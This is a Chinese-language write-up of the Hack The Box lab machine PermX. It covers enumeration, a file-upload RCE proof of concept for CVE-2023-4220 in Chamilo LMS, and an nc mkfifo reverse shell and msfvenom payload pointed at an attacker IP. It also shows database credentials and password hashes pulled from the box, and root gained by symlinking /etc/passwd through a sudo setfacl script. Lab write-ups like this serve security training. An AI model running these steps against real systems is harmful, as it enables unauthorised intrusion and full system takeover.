HacktheBox-PermX

信息搜集

只有 22 和 80 端口开放。

1
2
3
4
5
6
start infoscan
10.10.11.23:22 open
10.10.11.23:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.23 code:302 len:277 title:302 Found 跳转url: http://permx.htb

添加下hosts文件。

目录扫描

1
gobuster dir -u http://permx.htb/ -w /usr/share/wordlists/dirb/common.txt

有文件泄露,http://permx.htb/lib/
Clip_2024-08-06_15-47-58.png
实际查看发现都是一些 css 和 js 文件。php 文件页没有什么帮助。
Clip_2024-08-06_15-50-14.png

子域名扫描

1
gobuster vhost -u http://permx.htb --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r

注意这个要加-r参数(跟随重定向),否则显示的全都是 302 的页面。
Clip_2024-08-06_16-11-04.png
或者使用 fuff 给 fuzz 出来。

1
ffuf -u http://permx.htb -H "Host:FUZZ.permx.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 18

感觉后者稍微快点,但是不知道为什么这个在控制台输出有问题。
Clip_2024-08-06_16-14-13.png
也加到hosts里面。
访问是一个登录页面,测试了弱口令登不上去。

(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution

找到了 PoC

1
2
3
4
5
$ echo '<?php system("id"); ?>' > rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1
2
curl -F 'bigUploadFile=@rce.php' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.

上个马。
反弹 shell。
Clip_2024-08-06_16-25-46.png

https://rev.natro92.fun/

用这个 nc mkfifo生成反弹 shell。

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.44 7777 >/tmp/f

加固 Shell

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

老规矩,找找 mysql 配置文件。
路径在:/var/www/chamilo/app/config/configuration.php
文件很大。但是配置文件在前面。
Clip_2024-08-06_16-30-52.png

1
2
3
4
5
6
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
1
mysql -uchamilo -p 
1
2
3
4
5
6
7
8
use chamilo;
select username,password from user limit 0,10;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra |
| anon | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS |
+----------+--------------------------------------------------------------+

hash 看不出来,那就试试 sql 的密码给 user,发现 user 下有mtz用户,直接登录:
Clip_2024-08-06_16-46-02.png
Clip_2024-08-06_16-46-13.png
生成个 shell

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
1
2
python3 -m http.server 80
curl -O 10.10.14.44/shell.elf

Clip_2024-08-06_17-00-03.png

1
2
3
4
5
6
7
8
sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh

但是这个acl.sh是不可以写入的:
Clip_2024-08-06_17-25-06.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash

if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

但是这个 sh 里面最后一行很有意思:

1
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

这个 setfacl 命令经过查询发现是给某个文件rwx权限。这里要求了这个文件必须在/home/mtz里,所以可以通过设置一个短链接来设置权限。

1
openssl passwd -1 -salt hacker 123456

Clip_2024-08-06_17-36-58.png
生成个 hash 先,然后把他写到 passwd 文件里面。

1
2
3
4
5
mkdir tmp
cd tmp
ln -s /etc/passwd passwd
sudo /opt/acl.sh mtz rwx /home/mtz/tmp/passwd
echo 'natro92:$1$rZf6ykgQ$cPmccx4WL13EE0Twc.gh90:0:0:root:/root:/bin/bash' >> /home/mtz/tmp/passwd

然后 su 上去就行。
Clip_2024-08-06_17-54-05.png